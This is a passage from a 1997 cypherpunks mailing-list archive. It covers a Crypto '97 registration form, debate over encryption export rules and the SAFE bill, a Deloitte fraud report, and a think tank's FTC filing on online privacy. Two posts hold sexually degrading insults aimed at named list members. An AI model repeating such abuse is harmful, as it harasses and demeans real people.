___ Guest Attendance (social program only)  $60
    Guest's Name________________________     			$ _________

Room Sunday to Thursday (non-smoking) with breakfast and lunch Monday
through Thursday ___ Single room $290  ___ Double room $230
    Roommate's name: _____________________    			$ _________

Extra nights at $70 single, $55 double, per person, per night
___ Saturday night  $ _____
___ Thursday night  $ _____                   			$ _________

TOTAL ENCLOSED OR PAID BY CREDIT CARD:        			$ _________

Enclosed payments must be in U.S. funds: by check drawn on a U.S.
bank, by U.S. money order, or by U.S. bank draft, payable to CRYPTO
'97.

Credit card payments are accepted by either mail or fax.
Check one: __ VISA       ___ MasterCard     ___ American Express
Name on card: ___________________________________________
Card number:  ___________________________ Expires: ______
Cardholder's signature: _________________________________

Send forms and enclosed payments to:	  For more information:
Bruce Schneier, Crypto '97		  Email: crypto97@iacr.org
Counterpane Systems			  WWW: http://www.iacr.org
101 E Minnehaha Parkway			  Phone: +1 612 823 1998
Minneapolis, MN  55419   USA		  Fax: +1 612 823 1590

**************************************************************************
* Bruce Schneier                 For information on APPLIED CRYPTOGRAPHY
* Counterpane Systems            2nd EDITION (15% discount and errata),
* schneier@counterpane.com       Counterpane Systems's consulting services,
* http://www.counterpane.com/    or the Blowfish algorithm, see my website.
**************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gsmith@ultragrafix.com
Date: Fri, 25 Apr 1997 08:02:37 -0700 (PDT)
To: Friend@public.com
Subject: Save 50% on Office Pro 97 & 40% on NT 4.0  !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 25 Apr 1997 08:59:58 -0700 (PDT)
To: Anonymous <nobody@replay.com>
Subject: Re: [CRYPTO] e$
In-Reply-To: <199704250614.IAA15275@basement.replay.com>
Message-ID: <Pine.A41.3.95.970425095841.81382B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.


On Fri, 25 Apr 1997, Anonymous wrote:

> Now is the time for all good little boys to 
> cum in Tim May's big mouth.
> 
>            \|/
>            @ @
>       -oOO-(_)-OOo- Tim May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 08:26:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <v03007801af861cb3b794@[207.167.93.63]>
Message-ID: <1JZP6D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:
> Obviously we libertarians fully agree with this. No advertising should ever
> be banned....to ban or restict any advertising, no matter how worthless or
> despicable the product, is clearly a violation of basic constitutional
> protections of free speech.

Isn't it ironic when people who support Cocksucker John Gilmore and C2Net
call themselves "we libertarians"?
> 
> (Note that the orginal grounds for restricting cigarette advertising on
> television and radio were on shaky grounds that the airwaves were a kind of
> monopoly have now been augmented by laws restricing advertising "too close"
> to schools and other places and other such restrictions. Including crap
> about requiring warnings about cigarettes and alcohol, even in
> non-broadcast advertisements! By this precedent, can it be long before
> political writings are required to carry extensive warnings? The First
> Amendment has become a joke.)

Cigarette advertizing is what created TV in the U.S.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 25 Apr 1997 11:14:01 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <v03007805af8593125b9e@[168.161.105.191]>
Message-ID: <199704251813.LAA18728@server1.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> Date: Thu, 24 Apr 1997 18:17:09 -0400
> To: fight-censorship-announce@vorlon.mit.edu
> From: Declan McCullagh <declan@well.com>
> Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup

> It also creates new criminal penalties for using encryption to
> further a criminal act ...  Remember that Maryland bill that would
> criminalize sending "annoying" or "harassing" email? If the
> Goodlatte bill became law, Marylanders who signed their messages
> with PGP or telnetted to local ISPs could be slammed with an
> all-expenses-paid trip to the Federal pen for five years ...  In
> other words, SAFE would turn state misdemeanors into Federal
> felonies.  This is not good.

Ok.  So it's kind of bad in this respect, but let's face it ... we
can't have everything OUR way, the FIRST time around.  Washington
politics is just not that way (not that you need such a reminder).

> A coalition of groups is sending a letter to Goodlatte tomorrow supporting
> the bill but expressing concern over the criminalization provision.
> Interested in signing on? Email David Sobel: sobel@epic.org.

Let's let the legislative process (whatever you think of it) take its
course.  I'll be happy even if they sneak some screwy secret committee
on the final bill, as long as we are not subject to that committee or
any other governmental body just because we allow ftp of C source code
by our off-shore friends.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 25 Apr 1997 14:27:07 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <Pine.GSO.3.95.970424163313.23480J-100000@well.com>
Message-ID: <3.0.1.32.19970425112019.0063ddd8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3953.1071713694.multipart/mixed"

--Boundary..3953.1071713694.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 04:33 PM 4/24/97 -0700, Declan McCullagh wrote:
>The Center for Media Education is trying to accelerate this process. In a
>fearmongering report earlier this year, the group demanded that a slew of
>government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
>"urgent agction" to "protect" America's children from tobacco and liquor
>advertising online.

Sigh.  Guess we'll have to do another information-logo-on-web-page campaign.
The real question is whether we should be in-your-face about it
and use a Joe Camel icon for the "Fight Commercial Censorship" campaign,
or something civilized like the many beer and wine company logos on the net.
"Fight censorship on the net - have a Beer!"  Would Mr. Butts be available?

Meanwhile, back on Television, the "We know what's best for you"
program ratings are getting panned by everyone.  I almost wonder if the
TV moguls decided to do a deliberately unsatisfactory rating system
rather that giving the censorship people the amount of control they want?
The proposed "sex/violence/language" ratings left out an important category
many parents would like in deciding what their kids can watch -- "Greed".  
And neither the proposed nor the enacted systems rates commercials....
So you won't be able to set that V-Chip to auto-block commercials.
PYRBBROW.GIF



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)

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hQIljAGFCykhIMMNVfzjIwD+XDRBFBZEsXBGGS0UgYMFDFiRRx5TFABIAIKU
IsUe0wsCADsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
--Boundary..3953.1071713694.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Fri, 25 Apr 1997 18:27:04 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Alternative Reality
Message-ID: <199704251130.MAA15499@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Introducing... the Alternative Reality Issue of Shift Control.

This week:

"Inject it a number of times over a period of several hours and you will 
experience what psychology textbooks refer to as an "out-of-body experience". 
This is a recurrent theme in descriptions of the ketamine experience - the 
mind, spirit or soul leaving the body... Ketamine has similar mental effects 
on some animals - especially monkeys, who have been observed trying to swot 
non-existent flies while under its influence." - Alex Bellos on ecstasy's 
latest rival

"Only sleep, books and disk storage mechanisms, with computers becoming our 
third lobe, allow us to cope with a world of accelerating travel and electronic 
communication. But these extensions to the human brain capacity will ultimately 
become inadequate, and so we might consider something new: the prospect of an 
implanted third lobe." - Peter Cochrane on building alternative human realities 
through technology

"'Bud Hopkins, psychiatrist and expert on alien abductions' - just the man's 
name got me salivating. My brain whirred with associations. Bud equals Yank, 
Yank equals alien, alien equals cool... 'Did you see that bit in episode 27 
when you could see Scully's cleavage as she e-mailed Mulder?' a voice whispered 
near to me. It was clear that experts in alien abduction were not to be messed 
with." - Leo Hickman on the fourth annual UnConvention of paranormal phenomena

Also this week: a squeaky clean way to play with yourself in the bath, a chance 
to write your own film reviews, more memoirs from Freebee the bee, £200 up for 
grabs in another short story competition, and a chance to win dinner for two at 
your favourite curry house.

Shift Control: altering your perceptions of the net and waiting for you now at 
http://www.shiftcontrol.com

--------------------------------
Shift Control is produced by the Guardian's New Media Lab with help from 
Boddingtons and Stella Artois Dry.

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 25 Apr 1997 10:01:54 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Fraud Without Frontiers
Message-ID: <1.5.4.32.19970425170010.0086e8c4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


FT reports on a new Deloitte & Touche report, "Fraud 
Without Frontiers" on the EU "fraud paradise." It sees 
10 areas of concern:

  "Computer abuse, banking frauds, counterfeiting,
  investment fraud, confidence tricks, public sector
  fraud, fraudulent bankruptcy, insurance fraud,
  smuggling and money laundering.

  The largest single threat comes from fraud through the
  Internet. The potential for abuse of computer systems
  is huge, particuarly since encryption technology is
  vulnerable to sophisticated computer users. The Internet
  is now being used to manipulate financial markets.

  Fraudsters are becoming more sophisticated. Inside dealers
  are making more use of offshore havens to avoid detection
  while criminal syndicates with knowlege of banking
  practice have cheated banks.

  'Offshore havens', some inside the EU, remains a common
  feature of fraud. But with some EU economies closely
  linked to the offshore world, the incentive to push for
  reform in this area is limited"

The report is available from D&T-UK for L95. (Hint, send)

  http://www.deloitte-touche-consulting.co.uk/main.html

-----

D&T has a Web page, "Taking the Mystery Out of ..." which
gives solace about encryption, passwords, firewalls, 
kerberos, and such:

  http://www.dttus.com/dttus/publish/mystery/mystery1.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 25 Apr 1997 11:12:39 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Deloitte-Touche: Fraud and the Net
Message-ID: <v03020932af869cbff9ee@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: oldbear@pop.tiac.net
Date: Thu, 24 Apr 1997 19:06:41 -0400
To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
From: The Old Bear <oldbear@arctos.com>
Subject: Deloitte-Touche: Fraud and the Net
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: The Old Bear <oldbear@arctos.com>

FRAUD AND THE NET

A Deloitte & Touche report commissioned by the European Union
says that cross-border fraud involving Internet abuse, banking
and investment frauds, and smuggling is costing society
$77 billion a year.  The report suggests that perhaps the
largest single threat comes from fraud through the Internet,
because encryption technology remains vulnerable to
sophisticated computer vandals.

source: Financial Times
        April 24, 1997


Anyone have a pointer to the full report or a more detailed
abstract?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"...Wells Fargo's on-line banking sucks dead gerbils
through a dirty garden hose." -- Eric Murray
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 25 Apr 1997 13:01:00 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Tim's Tag Bi-Line
Message-ID: <1.5.4.32.19970425195754.008a4fe8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.

----------

In response to Tim's tag line and to BXA's claim (twinned
by NSA, FBI, CIA and DoJ) of training Janus crypto-narcs to
snare dual-use miscreants:

http://guru.cosc.georgetown.edu/~denning/cosc511/

Information Warfare: Terrorism, Crime, and National Security

Prof. Dorothy E. Denning

This course will study the nature of information warfare, 
including computer crime and information terrorism, in 
the global information infrastructure as it relates to 
national security, defense policy, economic security, 
organizational security, and personal security. Students 
will gain an understanding of the threats and vulnerabilities, 
including military and economic espionage, denial of service, 
destruction and modification of data, distortion and 
fabrication of information, forgery, control and disruption 
of information flow, electronic bombs, and psyops and 
perception management. They will learn about attacks and 
countermeasures, including authentication, encryption, 
auditing, monitoring, and firewalls, and the limitations 
of those countermeasures. They will learn about cyberspace 
law enforcement and investigations, information warfare and 
the military, and intelligence in the information age. 
Information technology policy and ethics will be examined.

-----

This is not to single out the duality of Professor Denning/Mr. 
Denning. There are several similar dual-use courses being 
taught at civ-mi schools as market-wise institutions-governments
scramble for funds-taxes by promising results to job-needy
scientists-engineers and students-citizens.

Heed the dual-use market/cartel, be an infoartist/informer, an 
inside-lawyer/outlaw; practice selfless public archy, greedy secret
anarchy. That's the ticket for wise guys-gals, go either way as the 
bi-wind blows and stills.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 25 Apr 1997 17:00:07 -0700 (PDT)
To: Bill Stewart <declan@well.com>
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <Pine.GSO.3.95.970424163313.23480J-100000@well.com>
Message-ID: <v03007805af87021d149b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:20 AM -0800 4/25/97, Bill Stewart wrote:

>Meanwhile, back on Television, the "We know what's best for you"
>program ratings are getting panned by everyone.  I almost wonder if the
>TV moguls decided to do a deliberately unsatisfactory rating system
>rather that giving the censorship people the amount of control they want?

Ah, but the likelihood is now greater that even more restrictive ratings
and censorship will be imposed. After all, when have you known statists to
back off simply because a policy doesn't work as promised?

>The proposed "sex/violence/language" ratings left out an important category
>many parents would like in deciding what their kids can watch -- "Greed".
>And neither the proposed nor the enacted systems rates commercials....
>So you won't be able to set that V-Chip to auto-block commercials.
>Attachment converted: APS 1GB Fireball:PYRBBROW.GIF (GIFf/JVWR) (0000F3F7)
 ^^^^^^^^^^^^^^^^^^^^^

I know I sound like a broken record, but these "attachments" are getting
out of hand. I periodically look at my attachments folder and find several
dozen or more various attached files...GIFs I'll never look at, Postscript
versions of postings to the list, binaries of programs for platforms I
can't possibly use, and even .WAV sound files. Arrgghhh!

(This GIF I opened...it appears to be a beer bottle with a star hanging
around the neck. Self-ratings of beer?)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Fri, 25 Apr 1997 18:54:22 -0700 (PDT)
To: Ernest Hua <declan@well.com>
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
Message-ID: <199704260154.SAA14871@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:13 4/25/97 -0700, Ernest Hua wrote:
>> Date: Thu, 24 Apr 1997 18:17:09 -0400
>> To: fight-censorship-announce@vorlon.mit.edu
>> From: Declan McCullagh <declan@well.com>
>> Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup
>
>> It also creates new criminal penalties for using encryption to
>> further a criminal act ...  Remember that Maryland bill that would
>> criminalize sending "annoying" or "harassing" email? If the
>> Goodlatte bill became law, Marylanders who signed their messages
>> with PGP or telnetted to local ISPs could be slammed with an
>> all-expenses-paid trip to the Federal pen for five years ...  In
>> other words, SAFE would turn state misdemeanors into Federal
>> felonies.  This is not good.
>
>Ok.  So it's kind of bad in this respect, but let's face it ... we
>can't have everything OUR way, the FIRST time around.  Washington
>politics is just not that way (not that you need such a reminder).

I think you misunderstand the situation.  The government is in somewhat of a
disadvantage by virtue of the fact that there is relatively little
pro-censorship and anti-encryption legislation.  Absent such legislation,
the status-quo moves in a relatively free fashion, which is why the Internet
is mostly unregulated today.   


>> A coalition of groups is sending a letter to Goodlatte tomorrow supporting
>> the bill but expressing concern over the criminalization provision.
>> Interested in signing on? Email David Sobel: sobel@epic.org.
>
>Let's let the legislative process (whatever you think of it) take its
>course.  

That's precisely what they want us to allow, and that's exactly why we
shouldn't accept it.  As Tim May has repeatedly pointed out, we are probably
better off with NO legislation than bad legislation, and all we've been
offerred so far this year is bad legislation.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Fri, 25 Apr 1997 19:55:12 -0700 (PDT)
To: John Young <cypherpunks@toad.com
Subject: Re: New Crypto Panel
Message-ID: <199704260255.TAA00656@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:34 4/24/97 -0400, John Young wrote:
>Federal Register, April 24, 1997:
>
>DEPARTMENT OF COMMERCE
>
>President's Export Council Subcommittee on Encryption; 
>Notice of Establishment
>
>    The Secretary of Commerce has determined that the 
>establishment of the President's Export Council
>Subcommittee on Encryption is in the public interest in 
>connection with the performance of duties imposed on the 
>Department by law.
>
>    The Subcommittee will advise the Secretary, through the 
>Assistant Secretary for Export Administration, on
>matters pertinent to the implementation of an encryption 
>policy that will support the growth of commerce while 
>protecting the public safety and national security.
>
>    The Subcommittee will consist of approximately 25 members 
>to be appointed by the Secretary to assure a balanced 
>representation among the exporting community and those 
>Government agencies with a mandate to implement policy 
>regarding encryption.

Notice how the not-so-subtle biases sneak in.  "Balanced representation"?
What about the representation of the citizenry of this country?

And identifying something called "the exporting community" is also biased:
Implicitly, it means those firms which _do_ export crypto, which by
definition means those companies which are COMPLYING with the current crypto
export rules.  Naturally, that is a biased segment of the total potential
membership of that group, and will tend to skew the product of that group to
reinforcing the status quo as defined by government.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 20:01:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: <Pine.GSO.3.95.970425200018.11752A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


[I'll forward some followup comments with the same Subject: line.
--Declan]

---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 19:30:35 -0400
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FC: CEI tells the Federal Trade Commission to be wary of regulation

Julie DeFalco from the Competitive Enterprise Institute, a libertarian
think tank here in DC, today sent me what her organization filed with the
FTC earlier this month. Below CEI urges the FTC to be "extremely cautious
in regulating the free flow of consumer information" online. The FTC will
revisit the issue of online privacy regulations this June. Some excerpts
from CEI's filing:

	Despite plenty of speculation, there has
	been no demonstration of significant
	actual harm resulting from the commercial
	collection of personal data over the
	Internet. This is not to say that all data
	posted on the Internet are good.  Quite
	the contrary.  For example, the government
	has made it difficult, if not impossible,
	to live in America today without a social
	security number. Congress has mandated
	that all states use social security
	numbers as driver identification numbers.
	And Departments of Motor Vehicles have
	been rather cavalier about selling the
	data collected, including social security
	numbers. That is why the outcry against
	Lexis-Nexis, which created a database of
	publicly available government information,
	was misplaced. [...]

        There is a tension between the notion that
	all interactions on the Internet ought
	to be private, and the fact that people
	go on to the Internet to communicate in
	public.  The reality is that going on to
	the Internet is like walking on a public
	street, with each Web page like a private
	store.  Each Web page has the right to set
	up its own conditions for entry. Such
	policies could range from a free-for-all
	data collection spree, to very strict
	information collection limitations. [...]

Read on for the complete document.

-Declan

**************************

April 15, 1997

Secretary
Federal Trade Commission
Room H-159
Sixth St. and Pennsylvania Avenue, NW
Washington, D.C. 20580

   Consumer Privacy 1997
   Comment P954807 and Request to Participate P954807

Dear Sir or Madam:

The Competitive Enterprise Institute and the National
Consumer Coalition hereby files comments on and a
request to participate in Session Two of the Federal
Trade Commission's upcoming public hearing on
"Consumer Privacy Issues Posed by the Online
Marketplace."

CEI is a non-profit, non-partisan free-market research
and advocacy group.  We have long been involved with
commercial free speech issues,  and we work on privacy
and Internet issues as well.  The NCC is a coalition
of nine consumer organizations interested in expanding
consumer choice in the marketplace.   Given the fact
that few, if any, other consumer groups are presenting
this viewpoint, we believe that our participation in
these hearings would assist the Commission in its
consideration of these issues.

Introduction

There are some central issues which must be resolved
before discussing the FTC's specific questions.

What is "privacy"?

With all of the discussion of privacy of commercial
data on the Internet, it is strange that no one has
actually defined the term.  The tendency is to rely
instead on an "I-know-it-when-I-see-it" approach.
Supreme Court Justice Lewis Brandeis said that privacy
is the "The right to be left alone - the most
comprehensive of rights, and the right most valued by
a free people."   Others say privacy is a result of
living in a large society where people do not know
each other's reputations and are not able to impose
social constraints on others' behavior.  "Privacy
grows as the number of strangers grows," wrote Steven
Nock.  "Privacy is one consequence, or cost, of
growing numbers of strangers."

The confusion surrounding the term privacy leads one
to conclude that "privacy" is like a Rorschach ink
blot - different people read different things into it.
 "Whenever an invasion of privacy is claimed, there
are usually competing values at stake."   In this
sense, privacy is not a right, it is a preference.

Much of what people want in the name of "privacy" is
that which they could actually achieve through
traditionally understood conceptions of property
rights and freedom of contract.  But when "privacy"
itself is set forth as an amorphous, floating concept,
it in fact threatens property rights and freedom of
contract.  It is this substitution of an ill-defined
"privacy right" for well-defined rights that threatens
the Internet.

What is the distinction between commercial data
collection and government data collection?

The restraints placed on government actions on the
Internet are rightly and necessarily stricter than
those placed on companies and individuals.
Restraining government action underlies our entire
political system, for the government has unique powers
of coercion.   Since government may fine, imprison,
and (in capital cases), execute citizens, there must
be very strict conditions under which government may
collect information about citizens.

Unfortunately, government has been less than exemplary
in this realm, and has repeatedly pushed the
boundaries of acceptable behavior.  For example, one
bill currently before Congress (H.R. 118) requires the
Attorney General to "acquire data about all stops for
routine traffic violations by law enforcement
officers."  The data include "identifying
characteristics of the individual stopped, including
the race and or ethnicity of as well as the
approximate age of that individual."  The irony of
calling in the government to protect privacy on the
Internet when it so cavalierly ignores it in other
realms is rich.

On the other hand, companies cannot impose an agenda
on private individuals the way the government can.
When they try to, there are civil and criminal laws
there to stop them.  Despite rhetoric about the
"power" of large corporations, all marketers can
really do is try to persuade people to buy their
products.  They do this through advertising.

Why is data collection so important for the Internet?

People have repeatedly demonstrated that they are not
willing to pay for content on the Internet.
Advertising Age magazine recently reported that only
25% of people polled were willing to pay to subscribe
to online publications.   Many subscribers to content
pages freely share their passwords with others.  "If
Web sites can't figure out how to halt the
free-for-all, a promising revenue source for on-line
businesses may be threatened."

Therefore, in order to develop, web sites will
increasingly depend upon advertising for support.
Indeed, "for most [Internet search] engines,
advertising has accounted for more than 90% of total
revenues.  Advertising will continue to be the primary
source of income for Yahoo! (and other search engines)
as they set up local content ventures."   America
Online has found it necessary to put advertising in
chat rooms to raise extra revenue (which was lost when
AOL introduced its flat rate monthly user fee).

At the same time, advertisers are still very hesitant
about advertising on the Internet.  "Where are the
marketers?" asked one Advertising Age editorial.   The
editor of Out magazine's web page, now defunct, was
quoted as saying, "advertisers aren't clamoring to get
on the Web - we have to beat them up to get on the
Web" (emphasis in original).   Anything which makes it
harder for advertising to work will have direct
effects on the quality and content of the Internet, a
very serious harm to Internet users.  In addition, it
will likely raise the cost to consumers of using the
Internet.

Is the issue "privacy," or is it really marketing?

Much of the rhetoric surrounding the privacy issue
concerns the purported power of advertising.  There is
a decades-old strain of thought which declares that
advertising is coercive and makes people buy what they
do not want.  This is untrue, as examples from the
Edsel, to New Coke, even to Nissan (which has a great
ad campaign but has seen no increase in auto sales)
show.  Unfortunately, many people do not fully
recognize the very real benefits consumers derive from
advertising.

Advertising's role in a market economy is essential,
and essentially benign.  Advertising lets consumers
know about price and quality information.  It alerts
consumers to the existence of new and improved
products.  It even saves consumers time by helping
them figure out what they do not want in advance of
shopping (e.g. a new car's styling is unattractive, or
it is too expensive).   Curtailing advertising limits
the availability of consumer information.

FTC Question 2.3: What are the risks, costs and
benefits of collection, compilation, sale and use
of personal consumer information in this context?

Despite plenty of speculation, there has been no
demonstration of significant actual harm resulting
from the commercial collection of personal data over
the Internet. This is not to say that all data posted
on the Internet are good.  Quite the contrary.  For
example, the government has made it difficult, if not
impossible, to live in America today without a social
security number.  Congress has mandated that all
states use social security numbers as driver
identification numbers.  And Departments of Motor
Vehicles have been rather cavalier about selling the
data collected, including social security numbers.
That is why the outcry against Lexis-Nexis, which
created a database of publicly available government
information, was misplaced.

The allocation of costs and benefits deriving from
data collection depends upon whom you ask.  Again,
privacy is a preference, not a universal right.  While
some may not like the very idea that data are being
collected about their consumption behavior, others may
not care at all.  Indeed, some consumers may not mind
how much information about them is available, if it
means they will receive only ads targeted to their
particular interests.  "Consumers don't mind
advertising and pay attention to it, as long as it
gives them something of value."

There is a tension between the notion that all
interactions on the Internet ought to be private, and
the fact that people go on to the Internet to
communicate in public.  The reality is that going on
to the Internet is like walking on a public street,
with each Web page like a private store.  Each Web
page has the right to set up its own conditions for
entry.  Such policies could range from a free-for-all
data collection spree, to very strict information
collection limitations.

It is important to note that since advertising depends
upon customer profile information, web pages which
take extra steps to protect privacy might be
relatively more expensive, and may have to charge a
premium.  If one individual prefers more privacy than
another, this is a reasonable situation.  It behooves
Web pages to clearly define the terms of entry.  As
for chat rooms and newsgroups, their entire purpose is
for people to communicate with each other.  Therefore,
people should not be surprised when third parties
collect information which they have already placed in
the public realm.

There are some very serious problems with the notion
that consumers somehow "own" information about
themselves which they have already released publicly,
or through a contract with a company.  Away from the
virtual world, people have repeatedly shown
willingness to give up their "valuable" personal data
in return for such things as rebates or coupons.  From
product reply questionnaires to supermarket shopper
clubs, people give out information all the time, often
automatically.  Even when it comes to the sale of
magazine subscriber lists, many people know about it
and often take advantage of deals offered by other
magazines and by marketers of certain products.

Some say that consumers ought to be reimbursed for
this sale of names.  But value is subjective, and, in
a market economy, a good offered for sale is only
worth what someone else is willing to pay for it.
Companies pay for the names because it saves them the
time and expense that it would take to collect the
publicly available information themselves.
Arbitrarily assigning a price to names, rather than
having it settled by negotiation through the market,
assumes that everyone agrees upon the value of a name.
As discussed above, this is not so.  Artificially
raising the price of a good (i.e. a name) through
regulation would surely decrease demand for it.  That
outcome might please many privacy advocates, but it
would hurt consumers in unseen ways, by limiting the
availability and circulation of consumer information.

If you release information about yourself, then that
information becomes part of the public realm. For
example, suppose you place an engagement announcement
in a local newspaper.  You do not "own" that
information.  That is, other parties can pick it up
and use it for, say, creating mailing lists of
newlyweds or brides-to-be. "The power to control
information about you is the power to control the
speech of others."

Even when it comes to implicit contracts - the selling
of magazine lists, for example - there is no reason
why it is incumbent upon the magazine seller to obtain
an affirmation from every subscriber before selling
their names. Rather, sensitive consumers ought to pay
attention to the fine print of their contracts.  They
can decline to contract in the first place, or
establish a set of  acceptable conditions, such as
requesting that their names be removed from mailing
lists.  Keeping names off of lists is a preference and
not a right.  Consumers who do not like this practice
have no right to impose their preferences on everyone.
 What goes for the real world should apply to the
virtual world.

The risks of this data collection by companies are
overstated.  The one exception is when collected
information falls into the hands of the government.
For example, an ice-cream shop culled names of
eighteen-year-olds from the store's birthday club and
sold the list to the selective service.   For these
customers, going into an ice-cream shop mean induction
in the army.

The costs and benefits of data collection are
different for every consumer.   Regulation would only
institutionalize a set of preferences, rather than
